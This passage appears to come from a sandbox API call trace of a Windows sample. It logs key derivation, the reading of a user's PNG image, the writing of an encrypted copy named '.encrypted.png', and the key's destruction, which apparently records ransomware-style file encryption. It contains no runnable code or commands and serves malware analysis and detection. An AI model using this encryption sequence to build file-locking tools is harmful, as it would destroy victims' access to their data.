(in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.041] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.041] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.041] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.041] CryptDeriveKey (in: hProv=0xe8f4063410, Algid=0x660e, hBaseData=0xe8f4062720, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4061c30) returned 1 [0028.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.042] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.042] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0028.042] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.042] CryptDestroyHash (hHash=0xe8f4062720) returned 1 [0028.042] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.043] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.043] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\livz.png"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0028.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0028.044] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0028.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.044] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700")) returned 0x10 [0028.044] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Pictures\\hZ2W\\NQGbwm2X9UGI8JmJW700\\LIvZ.encrypted.png" (normalized: "c:\\users\\5jghkoaofdp\\pictures\\hz2w\\nqgbwm2x9ugi8jmjw700\\livz.encrypted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0028.044] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.045] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.046] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0028.046] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x25a1, lpOverlapped=0x0) returned 1 [0028.046] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0028.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.048] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.048] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0028.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.049] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.049] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0028.049] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.049] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0028.049] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.049] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.049] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.049] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0028.050] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.050] CryptGetKeyParam (in: hKey=0xe8f4061c30, dwParam=0x7, pbData=0xe8f4064ce0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ce0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.050] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.050] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.050] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.051] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x25a1, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x25b0) returned 1 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] CharLowerBuffW (in: lpsz="byte[9649]", cchLength=0xa | out: lpsz="byte[9649]") returned 0xa [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0028.051] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.051] CryptEncrypt (in: hKey=0xe8f4061c30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f437a030*, pdwDataLen=0xe8f3dfdf68*=0x25a1, dwBufLen=0x25b0 | out: pbData=0xe8f437a030*, pdwDataLen=0xe8f3dfdf68*=0x25b0) returned 1 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.051] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.052] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.052] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.052] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.052] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.053] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.053] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0028.053] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.053] CryptDestroyKey (hKey=0xe8f4061c30) returned 1 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.053] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.053] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.053] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0028.053] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0028.053] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.054] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.054] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.054] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.054] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0028.054] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0028.054] CryptReleaseContext (hProv=0xe8f4063410, dwFlags=0x0) returned 1 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0028.054] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0028.054] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 